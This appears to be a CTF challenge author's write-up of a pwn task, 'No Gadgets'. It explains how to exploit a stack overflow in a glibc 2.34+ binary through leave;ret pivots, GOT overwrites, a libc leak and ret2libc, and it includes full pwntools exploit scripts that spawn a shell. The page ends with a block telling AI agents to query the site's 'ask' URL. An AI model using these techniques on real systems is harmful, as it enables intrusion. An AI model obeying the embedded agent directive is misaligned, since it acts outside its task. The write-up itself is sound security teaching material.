# No Gadgets

## Background

`No Gadgets` was an easy rated pwn I created for this CTF. The premise was based around the fact that `pop rdi ; ret` is no longer present in binaries compiled against glibc `2.34+`. While a lot of challenges will add this gadget back in manually, I wondered whether you could still solve an overflow challenge without this seemingly essential gadget.

The process of crafting this challenge is what lead me to discover some of the techniques that I've detailed in [this section](/pwn-notes/pwn/rop-2.34+/the-problem.md) of my blog, including the `gets` techniques.

I decided that using `gets` would make the challenge trivial, so I purposefully decided to not use it, instead opting for using `leave ; ret` to control `rbp`, which allowed you to get arbitrary writes to the `GOT`.

Anyways, enough yapping, onto the challenge itself.

## Analysis

### Analyzing the source code

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BANNER \
"———————————————————————————————\n" \
"⠀⣞⢽⢪⢣⢣⢣⢫⡺⡵⣝⡮⣗⢷⢽⢽⢽⣮⡷⡽⣜⣜⢮⢺⣜⢷⢽⢝⡽⣝\n" \
"⠸⡸⠜⠕⠕⠁⢁⢇⢏⢽⢺⣪⡳⡝⣎⣏⢯⢞⡿⣟⣷⣳⢯⡷⣽⢽⢯⣳⣫⠇\n" \
"⠀⠀⢀⢀⢄⢬⢪⡪⡎⣆⡈⠚⠜⠕⠇⠗⠝⢕⢯⢫⣞⣯⣿⣻⡽⣏⢗⣗⠏⠀\n" \
"⠀⠪⡪⡪⣪⢪⢺⢸⢢⢓⢆⢤⢀⠀⠀⠀⠀⠈⢊⢞⡾⣿⡯⣏⢮⠷⠁⠀⠀ \n" \
"⠀⠀⠀⠈⠊⠆⡃⠕⢕⢇⢇⢇⢇⢇⢏⢎⢎⢆⢄⠀⢑⣽⣿⢝⠲⠉⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠀⡿⠂⠠⠀⡇⢇⠕⢈⣀⠀⠁⠡⠣⡣⡫⣂⣿⠯⢪⠰⠂⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⡦⡙⡂⢀⢤⢣⠣⡈⣾⡃⠠⠄⠀⡄⢱⣌⣶⢏⢊⠂⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⢝⡲⣜⡮⡏⢎⢌⢂⠙⠢⠐⢀⢘⢵⣽⣿⡿⠁⠁⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠨⣺⡺⡕⡕⡱⡑⡆⡕⡅⡕⡜⡼⢽⡻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⣼⣳⣫⣾⣵⣗⡵⡱⡡⢣⢑⢕⢜⢕⡝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⣴⣿⣾⣿⣿⣿⡿⡽⡑⢌⠪⡢⡣⣣⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⡟⡾⣿⢿⢿⢵⣽⣾⣼⣘⢸⢸⣞⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠁⠇⠡⠩⡫⢿⣝⡻⡮⣒⢽⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"——————————No gadgets?——————————\n"

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int main() {
	char buf[0x80];
	setup();
	puts(BANNER);
	puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
	printf("Data: ");
	fgets(buf, 0x1337, stdin);
	if (strlen(buf) > sizeof(buf)) {
		puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
		exit(EXIT_FAILURE);
	} else {
		puts("Pathetic, 'tis but a scratch!");
	}
	return 0;
}

```

The application is quite simple, it just prompts the user for input, and reads too much data onto the stack leading to a classic buffer overflow. It then checks the string length to check for a buffer overflow, and if an overflow is detected it `exit`s so that `main` doesn't return. Otherwise it returns normally.

### Protections

Running `checksec` yields:

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
```

So we're dealing with pretty standard protections, minus `PIE`. The lack of canary and `PIE` will make our overflow feasible, and no `NX` means no shellcode (oh well, who needs shellcode anyways).

## Intended Solution

### Disclaimer

The following is my intended solution, however after reading some of the other solutions from other players, I quickly realised that mine was overcomplicated. While they (mostly) used the same techniques that I wanted to cover, they were able to use them in a simpler and more concise way. I will briefly go over a few of them at the end.

### Exploitation

#### Bypass `strlen` check

The first problem we face is the buffer overflow check, however fortunately for us this is a flimsy check. The string length is the number of bytes before a terminating null byte, however `fgets` doesn't stop us from writing null bytes of our own, so we could place a null byte at the beginning of the buffer to force `strlen` to return a value less than `0x80`, hence bypassing the check.

### Finding gadgets

```
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 68
```

Due to the program being compiled to run on glibc versions 2.34 and above, the `__libc_csu_init` function is [no longer present](/pwn-notes/pwn/rop-2.34+/the-problem.md#where-does-pop-rdi-ret-come-from), and so most of the useful `pop` gadgets are gone, like `pop rdi ; ret`. This stops us using the classic `ret2plt` attack, where we can call `puts` on some address containing a libc address, to get a leak. Instead we need to leak libc using ROP in a different way, and for that we need other gadgets.

Most of the gadgets found by `ROPgadget` aren't very useful, except for `leave ; ret`. This is a gadget found at the end of some functions, like `main` in this case, which aids in switching between stack frames. It does this by restoring the old `rbp` of the calling function (saved base pointer), moving `rsp` up and returning. `leave` is effectively

```asm
mov rsp, rbp
pop rbp
```

`rbp` here points to the saved base pointer, so moving it into `rsp` allows it to then be popped into `rbp`. Then the return address is stored directly afterwards, so then the `ret` returns to the previous code.

Example (some function called by main):

```
        |------------------------|
        |     return address     |
        |------------------------|
  ----> |   saved base pointer   |
  |     |------------------------|
  |     |                        |
  |     |     char buf[0x80]     |
  |     |                        |
  |     |------------------------|
  |     |     return address     |  <--- [rbp+8]
  |     |------------------------|
  ------|   saved base pointer   |  <--- [rbp]
        |------------------------|
        |                        |
        |     local variables    |
        |                        |
        |------------------------|  <--- [rsp]
```

After `leave ; ret`:

```

        |------------------------|
        |     return address     |  <--- [rbp+8]
        |------------------------|
  ----> |   saved base pointer   |  <--- [rbp]
  |     |------------------------|
  |     |                        |
  |     |     char buf[0x80]     |
  |     |                        |
  |     |------------------------|  <--- [rsp]
  |     |     return address     |
  |     |------------------------|
  ------|   saved base pointer   |
        |------------------------|
        |                        |
        |     local variables    |
        |                        |
        |------------------------|
```

If you want more info, you can go [here](/pwn-notes/pwn/rop-2.34+/controlling-rbp.md#what-is-the-saved-base-pointer).

#### Rough exploit plan

`rbp` is used to keep track of where the variables stored in a stack frame are. You can see this in action when looking at the disassembly. The following is from the call to `fgets`.

<figure><img src="/files/Qw8OuhvNUX9FVBirCFcn" alt=""><figcaption><p><code>fgets</code> gadget</p></figcaption></figure>

The address of the buffer is relative to `rbp` (as would other variables, if there were others).

In our buffer overflow, we don't only overwrite the return address, but also the saved base pointer, which would then get loaded into `rbp`, due to `leave`. So with our overflow, we can control `rbp`, and we also have the above gadget which writes arbitrary data to the buffer at `[rbp-0x80]`, so combining these theoretically grants an arbitrary write.

But what to overwrite? Remember we don't have a leak, so we're limited to the binary's memory. Recall that the binary has `Partial RELRO`, which means the `GOT` is writable!

An appealing target is `strlen@GOT`, because it's a function that takes one argument: our buffer! So we could either:

* overwrite `strlen@GOT -> puts@PLT` and point `buf` to a `GOT` entry
* overwrite `strlen@GOT -> printf@PLT` and point `buf` to a format string

Once we have a libc leak, the ret2libc should be trivial, because libc has a `pop rdi` gadget.

### Getting arbitrary writes

<figure><img src="/files/Qt53jBaBwD74bB7UpMIt" alt=""><figcaption><p><code>GOT</code></p></figcaption></figure>

So to get an arbitrary write onto `strlen@GOT`, we'll need to set `rbp` to `&strlen@GOT + 0x80` (since the `fgets` gadget uses `[rbp-0x80]`), and `rip` to the `fgets` gadget. This is easily done in the first overflow, but then what? Well we'll run through the rest of the main function and hit `leave ; ret` again. Running through what `leave` does, we see that it copies `rbp` to `rsp`, then pops `rbp` and `rip`. Since `rbp` is `0x80` bytes after our data input, we can use the overflow to control `rbp` and `rip` again! (and we can do this for any `rbp`)

However we run into a problem when going with this approach.

<figure><img src="/files/HM6sitBBehIDv6ZtNWs7" alt=""><figcaption><p>Writable memory of the binary</p></figcaption></figure>

If we wrote to the earliest possible address `0x404000`, then `rbp = 0x404080`. But the entries for `stdin`, `stdout`, `stderr` are between our write and `rbp`, and since we don't have a libc leak, we can't overwrite these without corrupting them and causing a crash.

This is why we need to make another write to `0x404080` first, to fill in a fake saved `rbp` and `rip`.

A naive approach to implement the above could look as follows:

```py
#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68

overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)

gdb.attach(p)
fake_rbp_rip  = p64(0xdead) + p64(0xbeef)     # blank for now!
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(0x404000+0x80)
fake_rbp_rip += p64(fgets_gadget)
p.sendline(fake_rbp_rip)

overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

p.sendline(overwrite)
p.interactive()
```

This will fail for another reason (which isn't due to my incompetence (hopefully!)), which is easier to see in gdb.

<figure><img src="/files/aSjCSwpZ6iFDcR0LF9Ye" alt=""><figcaption><p>Before <code>GOT</code> overwrite</p></figcaption></figure>

Here we get to the point where we're about to overwrite the `GOT` with fgets, but see something interesting. Since we've done multiple `leave`s, we've stack pivoted to the writable region. This on its own isn't a huge deal, but since it's so close to all the important addresses in the `GOT`, there's a good chance that the stack usage for the call to `fgets` will clobber them.

<figure><img src="/files/dSwwxQVI5OKZGhl59duL" alt=""><figcaption><p>After <code>GOT</code> overwrite. The telescope view shows that the <code>GOT</code> is clobbered by the stack variables.</p></figcaption></figure>

And clobber them it does!

So we need to be more careful about where `rsp` is. Fortunately most functions used in `main` don't use that much stack space (except for `printf`, which we can skip), so as long as `rsp` is further along in the writable region, its stack usage won't clobber anything. We can achieve this by using an extra `leave ; ret`.

Recall that after `leave ; ret`, `rsp` points to directly after the saved rbp and rip (due to popping), and since we want `rsp` at a higher address, we can place our own saved `rbp` and `rip` pairs at high addresses. Then for the initial `leave ; ret` (at the end of main), we set `rbp` to point to that pair, and `rip` to `leave ; ret`. That way we control `rbp` and `rip`, while also having `rsp` be far enough to prevent clobbering!

#### Getting libc leak

```py
#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68

high_addr = 0x404800

overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(high_addr+0x80)
overflow += p64(fgets_gadget)
p.sendlineafter(b"Data: ", overflow)
p.recvline()


overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
# rbp,rip pair at high address
overflow += p64(0x404000+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)
p.recvline()

gdb.attach(p)
fake_rbp_rip  = p64(0xdead) + p64(0xbeef)     # blank for now!
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(high_addr+0x90)
fake_rbp_rip += p64(leave_ret)
p.sendline(fake_rbp_rip)
p.recvline()

overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

p.sendline(overwrite)

libc_leak = u64(p.recv(6) + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")

libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")

p.interactive()
```

Applying this gives us the script above, which successfully leaks libc base. We overwrite `strlen@GOT` to `puts@PLT` (not `printf@PLT` because it uses a lot of stack space), and after we overwrite `GOT`, `strlen` gets called. The way it's set up is that `buf -> puts@GOT`, which is now `puts@PLT + 6`. But when `strlen` gets called, `puts` is called, which resolves `puts@GOT` in time for `buf` to now point to `puts@LIBC`, giving us a leak!

And we don't have to worry about the return value being greater than `0x80`, because `puts` returns the number of bytes outputted, which would be `7` (`6` for the address, `1` for the newline).

### Getting a shell

From here getting a shell is trivial. Since we have libc, we can easily find all the gadgets we need, so all we need is to write another rop chain which calls `system("/bin/sh")`. In my rop chain I used `system`, which also uses a lot of stack space, so I made `rsp` point to a further up location again, but you could just use `execv` and not face this problem.

### Solver

```py
#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

def send(data, prompt=False, leak=False):
    ret = None
    if prompt:
        p.recvuntil(b"Data: ")
    assert b"\n" not in data
    p.sendline(data)
    if leak:
        ret = p.recv(6)
        p.recv(1)   # newline
    p.recvline()
    return ret

got = 0x404000
new_rsp = got+0x800     # sufficiently large to not interfere with GOT
addr_switch = new_rsp + 0x100
# address of final rop chain
# also sufficiently large for system
addr_rop = new_rsp + 0x400

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68    # fgets(rbp-0x80, 0x80, stdin) ; strlen(rbp-0x80) ; leave ; ret

# the idea of "switching" is 2 consecutive "leave ; ret" gadgets
# such that rbp is controlled to a value we want
# as our gets_gadget and fgets_gadget relies on rbp
# AND also ensuring rsp is a sufficiently large address
# such that the stack activity in the writable section doesn't interfere with GOT
# or cause a crash

# the first "leave ; ret" sets rbp to point to a pair of "saved rbp | return address"
# stored at `addr_switchX`, and call it new_rbp | new_ret
# and triggers a second "leave ; ret" to then pop new_rbp into rbp, and return to new_ret
# the 2nd "leave ; ret" also sets rsp to `addr_switchX`
# which for our purposes is a sufficiently large address
rbp_rip = lambda rbp, rip: p64(rbp) + p64(rip)
switch = lambda i: rbp_rip(addr_switch+0x10*(i-1), leave_ret)

# setup pivot to writable region
overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(new_rsp)	    # saved rbp
overflow += p64(fgets_gadget)	# return address
send(overflow, prompt=True)

# rsp -> [stack]
# rbp -> new_rsp
# fgets(rbp-0x80) -> fgets(new_rsp-0x80)

# overflow
data  = b"\x00".ljust(0x80, b"A")
data += rbp_rip(got+0x100, fgets_gadget)
# pad upto addr_switch
data += b"B" * (addr_switch - (new_rsp-0x80+len(data)))
# fgets(got) for a GOT overwrite
data += rbp_rip(got+0x80, fgets_gadget)	        # switch1
# fgets() for final ROP payload
data += rbp_rip(addr_rop, fgets_gadget)	        # switch2
send(data)

# rsp -> new_rsp+0x10 (+0x10 due to "pop rbp" and "ret")
# rbp -> got+0x100
# fgets(rbp-0x80) -> fgets(got+0x80)

# got+0x80
fake_rbp_rip  = switch(2)
# overflow to do switch1
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += switch(1)
send(fake_rbp_rip)

# overwrite GOT
# change strlen@GOT -> puts@PLT
# so that strlen(buf) leaks puts@GOT
overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

# after overwriting strlen@GOT -> puts@PLT
# the GOT buffer is printed back to us due to strlen(rbp-0x80)
# at the start of the buffer is puts@GOT
# (which is resolved by the time of the call to puts)
# so &puts is leaked
libc_leak = send(overwrite, leak=True)

libc_leak = u64(libc_leak + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")

libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")

# switch(2) is done immediately afterwards
# to then write data to addr_rop

# time for a classic ret2libc
# (addr_rop is sufficiently large enough for system's stack)

pop_rdi = libc.address + 0x2a3e5
ret = pop_rdi + 1

payload  = b"\x00".ljust(0x80, b"A")
payload += p64(0)
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(ret)
payload += p64(libc.sym.system)

send(payload)
p.interactive()
```

## Other solutions

While the above solution works, there's a lot of fiddling around with stack frames, `rbp` and `rsp` which makes it a bit clumsy at times.

Many other solutions were able to use the idea of overwriting the GOT in a more effective way. `strlen@GOT` was still a prime target for overwrites, as I had intended, however the way it was used was interesting.

What caused me problems was that I would overwrite `strlen@GOT` to point directly to a `puts` function, which returns normally, then I would reach the end of `main`, which forced me to use the return address to continue execution, which led to stack fiddling nonsense.

### Neatest solution

However many solutions were able to keep `rsp` on the stack the whole time. My favourite one was by [laxa](https://app.hackthebox.com/users/10693), which overwrote `strlen@GOT` to the part in `main` which called `printf`, without setting arguments.

<figure><img src="/files/usDFJrdYeRuXRPHpbKb5" alt=""><figcaption><p>printf gadget</p></figcaption></figure>

This allowed them to call `printf` on the `GOT`, but was also able to immediately write to the `GOT` **again**, as the call to `fgets` was immediately afterwards. Then with the leak, they could overwrite `strlen@GOT` again to `system`.

### Fun with (fun)lockfile

The funniest one was one by [Nauxuron](https://app.hackthebox.com/users/271893), which used a quirk of `printf` that placed a pointer to `funlockfile` in `rdi` after returning, so that they could then call `puts` on that to get a libc leak.

<figure><img src="/files/pAOOKR0EUMkEmh3E5Kns" alt=""><figcaption><p>After <code>printf("Data: ")</code></p></figcaption></figure>

Interestingly when I was designing this challenge, I was using `gets`, and discovered some nifty unintended solutions which also relied on a certain value being into `rdi` after a call (to `gets` in this case), which led to the [ret2gets](/pwn-notes/pwn/rop-2.34+/ret2gets.md) page. While I fixed that, I did not anticipate this happening with `printf`, because why on earth would this happen??

After looking at glibc source code (yes I was that curious), I found out why. Just like with ret2gets, it's actually to do with unlocking happening at the end of the function, specifically [here](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdio-common/vfprintf-internal.c#L2286) (and [here](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdio-common/vfprintf-internal.c#L1609) when buffered).

```c
  _IO_funlockfile (s);
  _IO_cleanup_region_end (0);

  return done;
}
```

The important macros here are `__libc_cleanup_region_start` and `__libc_cleanup_region_end`, defined [here](https://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/nptl/libc-lock.h#L157).

```c
/* Start critical region with cleanup.  */
#define __libc_cleanup_region_start(DOIT, FCT, ARG)			\
  {   bool _cleanup_start_doit;						\
  struct _pthread_cleanup_buffer _buffer;				\
  /* Non-addressable copy of FCT, so that we avoid indirect calls on	\
     the non-unwinding path.  */					\
  void (*_cleanup_routine) (void *) = (FCT);				\
  _buffer.__arg = (ARG);						\
  if (DOIT)								\
    {									\
      _cleanup_start_doit = true;					\
      _buffer.__routine = _cleanup_routine;				\
      __libc_cleanup_push_defer (&_buffer);				\
    }									\
  else									\
      _cleanup_start_doit = false;

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT)		\
  if (_cleanup_start_doit)			\
    __libc_cleanup_pop_restore (&_buffer);	\
  if (DOIT)					\
    _cleanup_routine (_buffer.__arg);		\
  } /* matches __libc_cleanup_region_start */
```

`printf` stores a `_pthread_cleanup_buffer` to keep track of how to cleanup the `FILE` when the function returns. It does this by storing a cleanup routine, and an argument, which would be the `FILE`. [This](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdio-common/vfprintf-internal.c#L2264) is where that happens (in `buffered_vfprintf` because the challenge unbuffered `stdout`).

```c
  /* Lock stream.  */
  __libc_cleanup_region_start (1, (void (*) (void *)) &_IO_funlockfile, s);
  _IO_flockfile (s);
```

Huh look at that, the `__routine` is `_IO_funlockfile`, and if we look at [\_pthread\_cleanup\_buffer](https://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/nptl/pthread.h#L159).

```c
/* Cleanup buffers */
struct _pthread_cleanup_buffer
{
  void (*__routine) (void *);             /* Function to call.  */
  void *__arg;                            /* Its argument.  */
  int __canceltype;                       /* Saved cancellation type. */
  struct _pthread_cleanup_buffer *__prev; /* Chaining of cleanup functions.  */
};
```

The `__routine` is stored at the start. And lastly, in `__libc_cleanup_region_end`, there's this line.

```c
    __libc_cleanup_pop_restore (&_buffer);
```

So this cleanup buffer is passed to a [function](https://elixir.bootlin.com/glibc/glibc-2.35/source/nptl/libc-cleanup.c#L38) (that I'm personally surprised isn't inlined), and `rdi` doesn't get changed at all, so it ends up pointing to the cleanup buffer, with `funlockfile` being the value it ends up pointing to!

But what about the cleanup routine? Interestingly `funlockfile` isn't actually executed! The `0` in `_IO_cleanup_region_end (0);` represents the `DOIT` parameter, and if it's 0, then the function isn't called.

From what I can see, this behaviour has changed in `2.37`, at least this only happens when the application is multithreaded?

### Who needs leaks anyway?

This one was by `nobodyisnobody` (on discord), and it was probably my favourite, simply for how creative it was, and also how it required no leaks at all! It managed to squeeze blood out of the stone that was the limited collection of gadgets available in the binary itself!

It did this with the following gadgets:

```
0x00000000004010bf : add bl, al ; ... ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
```

By using the above gadgets, they were able to set `rbp` so that `rbp+0x3d` pointed to a `GOT` entry, then using `add dword ptr [rbp - 0x3d]`, they could *add* values to the `GOT` entries, instead of overwriting them. This way, you don't need a libc leak, and you can change these functions to point to useful gadgets. However, to be able to do that, we need to be able to control `ebx`.

That's where the top gadget comes in. You'll notice how I've added the `...` which is because this is a fairly long gadget, but not a massively complex one. It's as follows:

<figure><img src="/files/O2u9OZWVQMb57J2kafAh" alt=""><figcaption><p><code>add bl, al</code></p></figcaption></figure>

Adds `al` to `bl` (the lowest 8 bits of the `eax` and `ebx` registers respectively), then goes through a nop sled to end up in `deregister_tm_clones`. This sets `eax` to `0x404040` (thus setting `al` to `0x40`), then just returns.

It's important to note that `rbx` and `rax` are set to `0` when `main` returns, so the first `add` does nothing to `ebx`, but sets `al` to `0x40`. Then if we call this gadget again, we can add `0x40` to `bl`. Then we could add this to `dword ptr [rbp - 0x3d]`!

So now we're able to add `0x40`, `0x80` or `0xc0` to an arbitrary `dword`, but how do we use this? After all it's a fairly weak primitive, since we have such limited control over `ebx`. Wouldn't it be nice if we could get `pop rbx`?

Well it just so happens, when you add `0x80` to `setvbuf`, you get:

<figure><img src="/files/Dm8WxZFwCnOhKIASxSOA" alt=""><figcaption><p><code>setvbuf+0x80</code></p></figcaption></figure>

A `pop rbx` gadget! Fortunately the previous `r13` checks don't pass, so we're able to reach `pop rbx`. Now with complete control over `ebx`, we can completely change a `GOT` entry to `system`, in this case we do `strlen`, as our buffer is passed to it.

I cleaned up and slightly modified the script to get the following:

```python
from pwn import *

exe = ELF("./no_gadgets")
libc = ELF("./libc.so.6") # needs debug symbols to know where __strlen_avx2 is
p = exe.process()

pop_rbp = 0x4011d5		# pop rbp ; ret
ret = 0x401016
fgets_gadget = 0x40121b
mov_al_40 = exe.sym.deregister_tm_clones	# mov eax, 0x404040 ; ... ; ret
add_bl_al = 0x4010bf	#  add bl, al ; ... ; mov eax, 0x404040 ; ... ; ret
add_gadget = 0x40115c	# add dword ptr [rbp - 0x3d], ebx ; nop ; ret


payload  = b'A'.ljust(0x80,b'\x00')
# rbp+0x3d = setvbuf@GOT
payload += p64(exe.got['setvbuf']+0x3d)
# setvbuf@GOT = setvbuf + 0x80
payload += p64(mov_al_40)
payload += p64(add_bl_al)*2
payload += p64(add_gadget)
# setvbuf+0x80 effectively does "pop rbx,rbp,r12,r13,r14 ; ret"
payload += p64(exe.sym['setvbuf'])
# ebx = system - setvbuf
payload += p64( (libc.sym['system']-libc.sym['__strlen_avx2']) % (1<<32) )
# rbp+0x3d = strlen@GOT
payload += p64(exe.got['strlen']+0x3d)
# r12,r13,r14
payload += p64(0)*3
# strlen@GOT = system
payload += p64(add_gadget)
# rbp points to something writable
payload += p64(pop_rbp) + p64(0x404e08)
# stack alignment + trigger strlen() on input
payload += p64(ret)
payload += p64(fgets_gadget)

p.sendline(payload)
p.sendline(b"/bin/sh\x00")

p.interactive()
```

### ret2dlresolve

While I didn't see any solutions using this, I always expected that it was possible, but I left it out as I thought it was more complicated than my intended.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sashactf.gitbook.io/pwn-notes/ctf-writeups/htb-business-2024/no-gadgets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
